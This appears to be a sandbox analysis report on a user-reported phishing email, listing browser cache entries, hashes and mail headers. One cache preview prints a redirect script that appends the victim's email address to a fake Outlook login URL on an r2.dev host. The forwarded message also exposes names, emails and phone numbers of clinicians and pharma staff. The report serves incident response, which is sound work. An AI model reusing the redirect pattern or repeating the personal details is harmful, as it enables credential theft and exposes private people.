SHA-256:	9EB52EE46C7AB5EA4CA0982415DA99FDED1B7D7354F75E50847BDAE6CB44EB66
SHA-512:	CB49F9E3812E2C262AF374E79BD8905CB508A45BF2C2D6AF62EED85AF43770872486A55E9425882FEDA9FB3A57A317A3C18BE1E286ADAF0C76BE7F1B0DFA8474
Malicious:	false
Reputation:	unknown
URL:	https://pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1853
Entropy (8bit):	4.8378321268720414
Encrypted:	false
SSDEEP:
MD5:	6D1C11A836FAADC5E738055104A89ABB
SHA1:	2DF753A54355C368B2BEA1AAD66F7D7C389E3A6A
SHA-256:	689628BF321B7B5FE9760549877B5DB96F8A4A85D0F09CC6DE3AC8563ED8B480
SHA-512:	0FD263BFDD4E376806E9B4401FB647222E34A1EEBD1A1CA0D80AC3758682BB13D15A6B026A7280482E0EC929FB9241B8553802DD1AE589BD78BCBCFBF2B5A1AA
Malicious:	false
Reputation:	unknown
URL:	https://studiolibracreatives.com/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3.html
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>56ufgi7oyh8</title>.. <script>.. document.addEventListener('DOMContentLoaded', function() {.. setTimeout(redirect, 100);.. });.... // Function to handle redirection.. function redirect() {.. var email = getParameterByName('email');.. var redirectUrl = "https://pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev/www.outlook.office365.cozsidAAQkA0000000000000000000000DZiMjRkdgdMmYyLWY5gfdgdYyLWY5gfdgdYyLWY5gfdgd9999999999.html";.... if (email) {.. redirectUrl += encodeURIComponent(email);.. console.log("Redirecting to: " + redirectUrl);.. } else {.. console.log("No email provided, cannot redirect.");.. }.... window.location.href = redirectUrl;.. }.... // Function to get URL p

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	773
Entropy (8bit):	4.720696549298846
Encrypted:	false
SSDEEP:
MD5:	624CBF0390EA9D0A5088D8D745122D19
SHA1:	CCA2B34F7D3C435EF82408FB87237F5CB92DA32D
SHA-256:	38E20324FB821631FA2281C801EBBD401C18EA68064B22AA87234D3306DF8C1F
SHA-512:	7848C57AFA7462C0EB3F94CCBFE01676FE8710A0FDE84B9F6F3B8E80340701878CD87B44F953A4145C628655780D2AAAEB212FD54EA17F8161342FAE92479E24
Malicious:	false
Reputation:	unknown
URL:	https://ipapi.co/json/
Preview:	{. "ip": "89.187.171.161",. "network": "89.187.170.0/23",. "version": "IPv4",. "city": "Atlanta",. "region": "Georgia",. "region_code": "GA",. "country": "US",. "country_name": "United States",. "country_code": "US",. "country_code_iso3": "USA",. "country_capital": "Washington",. "country_tld": ".us",. "continent_code": "NA",. "in_eu": false,. "postal": "30346",. "latitude": 33.9267,. "longitude": -84.3334,. "timezone": "America/New_York",. "utc_offset": "-0400",. "country_calling_code": "+1",. "currency": "USD",. "currency_name": "Dollar",. "languages": "en-US,es-US,haw,fr",. "country_area": 9629091.0,. "country_population": 327167434,. "asn": "AS60068",. "org": "Datacamp Limited".}

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 57 x 72, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.002585360278503
Encrypted:	false
SSDEEP:
MD5:	C1F3A7CC0CC590D63098736E6B709611
SHA1:	17986CBFDA501DE9621576A16BDD561EB2587CC7
SHA-256:	85635A11A6BD0F6244829189744582C0E11B6D3ACACDB7EFC544BF4C1CB671CD
SHA-512:	040308C043101D9A9D9A3D8E448CDFA5F09524F94216DE69BCFAE6BCB79B9F346A8DB3101441E5668CC4C828BF72FC93492C5830F6C44EFE0469DFE53E3856AF
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/930c69e57fdbb045/1744730288278/1-45_Y8gjvuVJY3
Preview:	.PNG........IHDR...9...H............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48122)
Category:	downloaded
Size (bytes):	48123
Entropy (8bit):	5.342871346104663
Encrypted:	false
SSDEEP:
MD5:	D00E161860FF36CF8482D4768E280CAB
SHA1:	A6D5B477886524767E67D3EDEE385CD2C9F41A54
SHA-256:	CA540BF2EBCFB08C9C8C92512C58707F1A62A572EFD7AC409CBA2229B55F012C
SHA-512:	6EE0351824C3FDF07C1C3A2C8FB2971F970DD24DCE92DC905A5E2D18EB82F16F93428B2A7445BB892D580A6B7D85D9BF0D9DAD0ED86E4D106B709E5D89339BA9
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/turnstile/v0/b/580ba44007a6/api.js
Preview:	"use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){jt(l,o,c,v,h,"next",s)}function h(s){jt(l,o,c,v,h,"throw",s)}v(void 0)})}}function P(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):P(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Pe(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	264
Entropy (8bit):	5.123508658969776
Encrypted:	false
SSDEEP:
MD5:	3BA1E3EB758FDE5E41038F29F7B79A10
SHA1:	DF3D39E4E8D829D4DDFBE1E747C3916B43933C5B
SHA-256:	1B58308E96A3BFC59F943E024760D3250A16170DEEBE0B8A789559D4CEC27794
SHA-512:	73B6D9C21223442C9B193B1E94B124E155B070E24ACC71EE6B4326A673FC1B1E6B78BBD1A33F0ACEB63CC84CF70D8705AB4D20307E1606D108B3B1B86004FA18
Malicious:	false
Reputation:	unknown
URL:	https://cochranamdmann.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<hr>.<address>Apache Server at cochranamdmann.com Port 80</address>.</body></html>.

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.120950594454667
Encrypted:	false
SSDEEP:
MD5:	B09F000BFB98ABD880BC77E05456FFEA
SHA1:	FBADFA7F41B709507692B8FCEA597474EED91E2C
SHA-256:	0A721532497036FF7D8B228DD8D4EF5E91777B0BD2B11F49F5B2CCDDD55EB259
SHA-512:	F2E0CF9FD6D14EAF9BE953052515A598E9F96186FB82D5FA8D3E9B01F9706284DE8DDDF343AB69CF566EDEB28C659D65E0D608F99A5717A7CBFB2CC48ADA15A7
Malicious:	false
Reputation:	unknown
Preview:	{"detail":"Method \"GET\" not allowed."}

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Static File Info

General

File type:	SMTP mail, ASCII text, with very long lines (459), with CRLF line terminators
Entropy (8bit):	5.800780574541479
TrID:	E-Mail message (Var. 1) (20512/2) 100.00%
File name:	original.eml
File size:	409'325 bytes
MD5:	ab45c57c56a06d8678530642f4d18097
SHA1:	12c1310016b963117d31d66f2f19878d9f0c4c95
SHA256:	f2fbdf710c727f5d11f73d7ffb834c4a093ee07b53e73a23fec2c92aedf181e5
SHA512:	3783aceafe9fa8e8dd92b7ae0d571b32b810aa612165ced4ae979e0b86b4d5eff1fec2566362fb08c4a0b89a61740dec5239da5b34b8298407cc1ed7c122959b
SSDEEP:	6144:Z7kYGOjAZoktQXfsD80Bd+C7782JHhH1UhOLIPY0RPMBAcUG87QY/gtd:Z7xBAZ9+snZHHSP3RP7fHgD
TLSH:	F494F1155BC53B49D7081E1BC03C295A63B6334EC5B3A1CC23ABFE0BBAADDA41D53598
File Content Preview:	Return-Path: <edward.rivera@pharma.com>..Received: from NAM12-BN8-obe.outbound.protection.outlook.com (mail-bn8nam12on2043.outbound.protection.outlook.com [40.107.237.43]).. by inbound-smtp.us-east-1.amazonaws.com with SMTP id nuhpbuf1363u0i6m5biimkgdl54e

Static Mail

General

Subject:	[User reported phish- KB4]FW: QM84849679 Contract Agreement on,Tuesday-April-2025 08:03 AM
From:	"Rivera, Edward" <edward.rivera@pharma.com>
To:	Purdue US IT Security <PurdueUSITSecurity@pharma.com>, "9acff17e-1fde-4b74-b9ad-341690a9a90d@phisher.knowbe4.com" <9acff17e-1fde-4b74-b9ad-341690a9a90d@phisher.knowbe4.com>
Cc:
BCC:
Date:	Tue, 15 Apr 2025 15:06:18 +0000
Communications:	EXTERNAL_EMAIL Dear All, I just wanted to thank all of you for your attendance at Monday\u2019s Round Table. I hope that you found it informative. I particularly want to thank Dr. White for leading an excellent discussion. Have a wonderful and Happy Thanksgiving! Meredith From: Stephanie Zitani <szitani@sunrise-detox.com> Sent: Monday, November 20, 2023 8:52 AM To: Castro, Meredith [JANUS] <MCastr80@ITS.JNJ.com>; Robert White <robwhite89@gmail.com> Cc: Kristen Overton <Koverton@thecounselingcenter.com>; Jonathan Blauvelt <JBlauvelt@sunrise-detox.com>; Alicia Jennings <Ajennings@thecounselingcenter.com>; Robert White <RWhite@sunrise-detox.com>; Leeann Still <LStill@sunrise-detox.com>; Natasha Osei <NOsei@thecounselingcenter.com>; McGovern, Dillon [JANUS NON-J&J] <DMcGove6@ITS.JNJ.com>; Warren Connelly <Wc@Praesumhealthcare.com>; Ikenna Usonwu <IUsonwu@thecounselingcenter.com>; Alexa Eisenhauer <AEisenhauer@sunrise-detox.com> Subject: Re: [EXTERNAL] RE: Round Table with Robert White, DNP: Management Strategies of Treatment-Resistant Depression Hello, Alexa Eisenhauser , Ikenna usonwu and Warren, Will be joining us today . ________________________________ [X] Stephanie Zitani\u200b Executive Director , t: 732-797-2505<tel:732-797-2505> f: 732-797-2506<tel:> e: szitani@sunrise-detox.com<mailto:szitani@sunrise-detox.com> a: 16 Whitesville Rd St. A Toms River , NJ , 08753 With 9 award-winning residential detox centers, we provide the safest, most comfortable medical detox available near you. CONFIDENTIALITY NOTICE: The information contained in this email, including any attachment(s), is confidential information that may be privileged and exempt from disclosure under applicable law, and is intended only for the exclusive use by the person(s) mentioned above as recipient(s). If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein is strictly prohibited and may be unlawful. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. \u200b \u200b 2023 Sunrise Detox Toms River, LLC. 16 Whitesville Rd St. A, NJ, 08753. From: Castro, Meredith [JANUS] <MCastr80@ITS.JNJ.com<mailto:MCastr80@ITS.JNJ.com>> Sent: Monday, November 20, 2023 8:49 AM To: Robert White <robwhite89@gmail.com<mailto:robwhite89@gmail.com>> Cc: Kristen Overton <Koverton@thecounselingcenter.com<mailto:Koverton@thecounselingcenter.com>>; Jonathan Blauvelt <JBlauvelt@sunrise-detox.com<mailto:JBlauvelt@sunrise-detox.com>>; Alicia Jennings <Ajennings@thecounselingcenter.com<mailto:Ajennings@thecounselingcenter.com>>; Robert White <RWhite@sunrise-detox.com<mailto:RWhite@sunrise-detox.com>>; Leeann Still <LStill@sunrise-detox.com<mailto:LStill@sunrise-detox.com>>; Stephanie Zitani <szitani@sunrise-detox.com<mailto:szitani@sunrise-detox.com>>; Natasha Osei <NOsei@thecounselingcenter.com<mailto:NOsei@thecounselingcenter.com>>; McGovern, Dillon [JANUS NON-J&J] <DMcGove6@ITS.JNJ.com<mailto:DMcGove6@ITS.JNJ.com>> Subject: [EXTERNAL] RE: Round Table with Robert White, DNP: Management Strategies of Treatment-Resistant Depression Dear All, We are looking forward to our Medical Round Table Dinner this evening at Caf Italia in Toms River, NJ at 5:30. Please call me or email me if there are any changes in your attendee status. Thank you! Meredith Meredith Castro, PharmD, MBA, CCP Sr. Medical Science Liaison, NJ/NYC Neuroscience Medical Affairs Janssen Scientific Affairs, LLC Phone: 610-554-5503 Mcastr80@its.jnj.com<mailto:Mcastr80@its.jnj.com> -----Original Appointment----- From: Castro, Meredith [JANUS] Sent: Monday, November 6, 2023 3:38 PM To: Castro, Meredith [JANUS]; Robert White Cc: Kristen Overton; Jonathan Blauvelt; Alicia Jennings; Robert White; Dawneisha Spratley; Leeann Still; Stephanie Zitani; Natasha Osei; Alexa Eisenhauer; McGovern, Dillon [JANUS NON-J&J] Subject: Round Table with Robert White, DNP: Management Strategies of Treatment-Resistant Depression When: Monday, November 20, 2023 5:30 PM-8:00 PM (UTC-05:00) Eastern Time (US & Canada). Where: Caffe Italia 2414 NJ-37 Toms River, NJ Dear All, We are excited to host a Round Table Discussion on Management Strategies of Treatment -Resistant Depression. This will be a focused, interactive discussion facilitated by Robert White, DNP, ANP, PMH-N, FNP-BC and intended for clinicians practicing in psychiatry settings. As this intended to be a more intimate group, space is limited so please respond directly (via acceptance or direct email) if you are able to attend. Dinner will start at 5:30 pm. Please contact me or Dr. White directly with any questions. Thank you! Meredith Castro, PharmD, MBA, CCP Sr. Medical Science Liaison, NJ/NYC Neuroscience Medical Affairs Janssen Scientific Affairs, LLC Phone: 610-554-5503 Mcastr80@its.jnj.com<mailto:Mcastr80@its.jnj.com>
Attachments:	phish_alert_iocp_v1.4.68.eml

Headers

Key	Value
Return-Path	<edward.rivera@pharma.com>
Received	from CO6P222MB0537.NAMP222.PROD.OUTLOOK.COM ([fe80::5f27:1047:80f1:fc4e]) by CO6P222MB0537.NAMP222.PROD.OUTLOOK.COM ([fe80::5f27:1047:80f1:fc4e%7]) with mapi id 15.20.8534.040; Tue, 15 Apr 2025 15:06:19 +0000
Received-SPF	pass (spfCheck: domain of pharma.com designates 40.107.237.43 as permitted sender) client-ip=40.107.237.43; envelope-from=edward.rivera@pharma.com; helo=NAM12-BN8-obe.outbound.protection.outlook.com;
Authentication-Results	amazonses.com; spf=pass (spfCheck: domain of pharma.com designates 40.107.237.43 as permitted sender) client-ip=40.107.237.43; envelope-from=edward.rivera@pharma.com; helo=NAM12-BN8-obe.outbound.protection.outlook.com; dkim=pass header.i=@pharma.com; dmarc=pass header.from=pharma.com;
X-SES-RECEIPT	AEFBQUFBQUFBQUFGTUpOSVdZNWlZdzlwUXliUXpyeDIyaXN0MUpXenZWNzJZWkRuZjVwTWFqVEh4akdhNEFVMk9OUlg1L2xjS0dBUVZNT09XL1pSa2tWaTJyNUlERUJrOGtTSEJzWTQvb2JKcTRKczFPVU1ZYTBud2EvOEFGU3NyNkNDY0E2Wnh0MlJqUmxoZ0cwa0FWWXd5VElWRURuK1I5R3pvOTB6ZGNBdlU0TE1DRG1iQTE2cklGL0UvRGNaek5HZkVGU2FqUit3UWwzUGtOS2t0LzdPRmpucmY2UkJ5RUxJMXdqSjR2eVo2MFErVWZ3S1dwMkFtblYrT0wwdzBXeFdDMTM1QzVKUE05QU43RTRpSnRvVUdzVU9Oc0U0L1pNSkNzQzRJSUN1cnpqOFM5Y01xUlhUZk5yRkIrYjNuZmxwWWlVT1JaUWs9
X-SES-DKIM-SIGNATURE	a=rsa-sha256; q=dns/txt; b=fCtvRMrfL4dNDnmlguIoVhGWww1jenfTub9H0BttRxTObQH5AT6OSjm4KbxJzFfDiQYV/87lYWWpisMZhz4qn5snrtccLkiaKx4VSeCfvLTY6N9iEto1HNQW7cTCwCFmwcNc31MpF48JVH4yOqMaxG4B43yF2dJE5AFizMe9E88=; c=relaxed/simple; s=6gbrjpgwjskckoa6a5zn6fwqkn67xbtw; d=amazonses.com; t=1744729583; v=1; bh=7WJyNOhwZuc6f3v8cYMeTWkIhRZT2geYZ02Lm6Ut2bs=; h=From:To:Cc:Bcc:Subject:Date:Message-ID:MIME-Version:Content-Type:X-SES-RECEIPT;
ARC-Seal	i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none; b=iQG7a19AL67JNlH+iA/mRKdBGdyBuBAjlTXtMX3FUwQVIjSlsTL+CjmzUdvbeeQSVRe04cqe72UhjU3hRelxSU8lgOY5Im3RBlC6vTd9YOZemqBXxDhB7biYJY8yJWkBmfgcy1gPZsvoN58apyoLZBKIlMDh073ZY6+yikMk0kGxXmSoDC8zrSBtUi9yxSooVdZH2KAICOWRJtAj75ewvWC0O9FlozXQY2al3YfuinG7FIZpgxB7vmw+JByq2Cfzp1Pp1MdJ5pEPsm6FqlHWw7XHiRMFj4T0DW+eXFaf4vYoYbpuzkiFGSHbupme+1WXqvI369TTdLI5AlQ2uzeNZg==
ARC-Message-Signature	i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com; s=arcselector10001; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1; bh=6O4GVkc0b5Xahhw1eUH8WH9k5nGA4n271r0ldPwrLAo=; b=bY+E4YXlHKCDH0sn7y71BCF88XESlNz7HK0WI/atOU7hjTqh0+YBzk8I72N5QpVH6Q5RVDxjSUwVmh3PIhwPyBdldESW8axJ3KxzYFxeI/C9doLN2bMuCDYBeO+3F2oxEjlH6uqkjy2KDMlGbrh6v79zpma14Btx6XyICtcCAwoAFGWl1TyGvJtDyqdVveuveUa6tbwYvQnacuttMBUA74Pqh2A+DFuelljyeyZ2CgdVP6h02I3LSF99enpViFu+ISe07i/yHRFxPzrOE2XQxgxTfUJP1l2YiXGbuFZI4fZaF6LiVjBvIqHvTKhKtn6E2ZRdr2WkzP943OxRtXbCcg==
ARC-Authentication-Results	i=1; mx.microsoft.com 1; spf=pass smtp.mailfrom=pharma.com; dmarc=pass action=none header.from=pharma.com; dkim=pass header.d=pharma.com; arc=none
DKIM-Signature	v=1; a=rsa-sha256; c=relaxed/relaxed; d=pharma.com; s=selector1; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck; bh=6O4GVkc0b5Xahhw1eUH8WH9k5nGA4n271r0ldPwrLAo=; b=0Px1IuMzx9B7N0WSHwrXhZHwzfVrrtN9xNVoZigx38NfsetvOoyOr2V1j+CEsgkTxEmcVK/k3cmdqAlKbdLwfCmiF38wkfzTf4XQwTPrjt0yR+iGrh7Vc12XAxt0nr0XXWVAKMKYY1hexQ8iO/H2P3qwwUqapVrE5Olm0MlMNkZAXHoK+Y63XFttAk7COvWKIZ0MysTrCBnrTmYgXfKLSdQ/eiOSl6jwgR0XNETDSa1aVzJtz/ud/B0mmiDbPQlgzzuQ7P/TuXCqxVXQFTMYIf1OPZqnqmCIB1wUiKdjz3pKT0sggYUR3ah/pHAsugSkeXHyw7c/RABV75Pgraabew==
From	"Rivera, Edward" <edward.rivera@pharma.com>
To	Purdue US IT Security <PurdueUSITSecurity@pharma.com>, "9acff17e-1fde-4b74-b9ad-341690a9a90d@phisher.knowbe4.com" <9acff17e-1fde-4b74-b9ad-341690a9a90d@phisher.knowbe4.com>
Subject	[User reported phish- KB4]FW: QM84849679 Contract Agreement on,Tuesday-April-2025 08:03 AM
Thread-Topic	[User reported phish- KB4]FW: QM84849679 Contract Agreement on,Tuesday-April-2025 08:03 AM
Thread-Index	AQHbrheHQmUK7g/dq0iG0M6VVIcUVbOk07AQ
Importance	high
X-Priority	1
Date	Tue, 15 Apr 2025 15:06:18 +0000
Message-ID	<CO6P222MB053772CEDCB6CACF9450BC2F86B22@CO6P222MB0537.NAMP222.PROD.OUTLOOK.COM>
References	<174472939012.9180.4254735497966437305@comerica.com>
In-Reply-To	<174472939012.9180.4254735497966437305@comerica.com>
Accept-Language	en-US
Content-Language	en-US
X-MS-Has-Attach	yes
X-MS-TNEF-Correlator
authentication-results	dkim=none (message not signed) header.d=none;dmarc=none action=none header.from=pharma.com;
x-ms-publictraffictype	Email
x-ms-traffictypediagnostic	CO6P222MB0537:EE_\|SJ2P222MB0856:EE_
x-ms-office365-filtering-correlation-id	bf97da44-441b-4bc8-097c-08dd7c2f137c
x-ms-exchange-senderadcheck	1
x-ms-exchange-antispam-relay	0
x-microsoft-antispam	BCL:0;ARA:13230040\|1800799024\|376014\|366016\|38070700018\|4053099003\|8096899003;
x-microsoft-antispam-message-info	3hG+Rntz1ZnefZ9V/j4E5x7rkOPcNR6uHNPBvB/maTb/k5XTVD0pyfhLiy/CJ0gyuDUmf3vXDNEInFHEcHIiaEZBlxS0TyDr+iv1GwoTD+bNBE4unLvpAWpgJ8xnT7EPpWXELyGbD9ifWKjpq/iFSVlLIfl3miPoNfUrA1uKpU7XytZSd7wgwh7NL9adHd8UBo9NgldD8hz143TvNs36EvtEzE6j1ogRa5viz1N+pSaFa/7jLDKzFVanaTTssoxpbHKJYQvhyodXvPjGHS5vAaEogpu3E0ojLM4SG3p46HZVVK2PQdzP+nfI4ePcHgOZUC0sVb4WENCWymaOvJOlVFxMckpeZ+MgJJvim6YUyyUi9dAvgr6bkpCup9nc7+FRjSpHqMp+80iXL7l4mq9tVJB12jDUrkfJhain2CVJonQno1Ny1wgGe2evddHMNUmE+qtvB9A34ZHSj23rSln5/HWymrN1m0q1+ZjhqsEBDCceWbcmFeLSfNHk0LzZdhFOzOiwI90KKv9wfaIAfbB3n8X6igZwyLXsMHtnU/Eawjh/llgOPu6y0Y2C7TG7AaOk7uaFmepN6xtUyTljcMAXNJEcdjuSrZ1QdZFctiOlREWqA98xCGfaehbvR7dcYb/89snQA8/j6KwqZB3/XR3RJZhIxnLjcJn842iPA6/L7t9NLIafS0MNB42p8TtQfPntfvpLA/6GA8PWH+UNVJKtFSGKtR7TeY58mJD3o0z5GwAT/lJ9Dg6ixmo1gyNNEpF9O12WamybD2LXVFpgwUwVrcqoPX/QdZwZWDIKrIkE5Q6VHViL1itngwpGQ05aNiZWWQdKM5H44o4punLohJwhvnkLC23ZRTNOYU5w5twR2z/Wy2uS5yozHPutFfHjnB4jCqINfnCrKavogXBvvtSR4EQOTxp+HHLi0ddaLZW47sxOwlEjxbdY56k2nKsOlzTni1SMpIIPwvi2W3ED6PxxU7peS7/gDW/T0FDlbUbUr7nLBTFZtExjm3J/bLxrikh8cAwhRiCDWx0eNu7iXGFphfIbB7X0s8o0zvxjOqcTfnkpwGsFxKshMa0Tupl6yXCMSnn5pA2fnSmWoAbTDirPLo9